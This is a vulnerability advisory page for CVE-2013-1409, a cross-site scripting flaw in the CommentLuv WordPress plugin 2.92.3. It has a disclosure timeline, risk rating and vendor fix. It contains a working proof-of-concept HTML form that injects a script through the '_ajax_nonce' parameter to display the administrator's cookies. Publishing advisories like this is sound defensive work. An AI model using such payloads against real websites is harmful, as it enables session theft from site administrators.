In light of COVID-19 precaution measures, we remind that all ImmuniWeb products can be easily configured and safely paid online without any human contact or paperwork.

Total Tests:
Stay in Touch

Weekly newsletter on AI, Application Security & Cybercrime

Your data will stay confidential Private and Confidential

Cross-Site Scripting (XSS) Vulnerability in CommentLuv WordPress Plugin

Advisory ID:HTB23138
Product:CommentLuv WordPress plugin
Vendor:Andy Bailey
Vulnerable Versions:2.92.3 and probably prior
Tested Version:2.92.3
Advisory Publication:January 16, 2013 [without technical details]
Vendor Notification:January 16, 2013
Vendor Fix:January 17, 2013
Public Disclosure:February 6, 2013
Latest Update:January 25, 2013
Vulnerability Type:Cross-Site Scripting [CWE-79]
CVE Reference:CVE-2013-1409
Risk Level:Low
CVSSv2 Base Score:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in CommentLuv WordPress plugin, which can be exploited to perform Cross-Site Scripting (XSS) attacks.

1) Cross-Site Scripting (XSS) in CommentLuv wordpress plugin: CVE-2013-1409
The vulnerability exists due to insufficient filtration of user-supplied data in "_ajax_nonce" HTTP POST parameter in the "/wp-admin/admin-ajax.php" script. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.
PoC (Proof-of-Concept) below uses the "alert()" JavaScript function to display administrator's cookies:
<form action="http://[host]/wp-admin/admin-ajax.php" method="post" name="askform">
<input type="hidden" name="action" value="cl_ajax" />
<input type="hidden" name="do" value="fetch" />
<input type="hidden" name="url" value="1" />
<input type="hidden" name="_ajax_nonce" value='<script>alert(document.cookie);</script>'/>
<input type="submit" id="btn">

How to Detect Cross-Site Scripting Vulnerabilities
Free Website Security Test
  • Non-intrusive GDPR Test
  • Non-intrusive PCI DSS Test
Try Free Test
ImmuniWeb® On-Demand
  • Complete GDPR Audit
  • Complete PCI DSS Audit
  • Remediation Guidelines
  • DevSecOps Integration
Learn More

Upgrade to CommentLuv 2.92.4

More Information:

[1] High-Tech Bridge Advisory HTB23138 - - Cross-Site Scripting (XSS) Vulnerability in CommentLuv WordPress Plugin.
[2] CommentLuv - - CommentLuv is a popular WordPress plugin that will magnetize your readers, socialize your comments and viralize your posts.
[3] Common Vulnerabilities and Exposures (CVE) - - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
User Comments
Add Comment
2 responses to "Cross-Site Scripting (XSS) Vulnerability in CommentLuv WordPress Plugin"
user logo
Internet Marketing 2015-03-18 14:19:43 UTC Comment this
I am new to this blog. But I have enjoyed your post and learned something
new.I hope next post will be very helpful for me so Waiting for your next update.
user logo
Ryan 2019-12-14 10:52:08 UTC Comment this
Thank you so much for this enlightening post, I have significantly got some thing right here and I will bookmark this page for your next upcoming post.
↑ Back to Top

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
View Products Ask a Question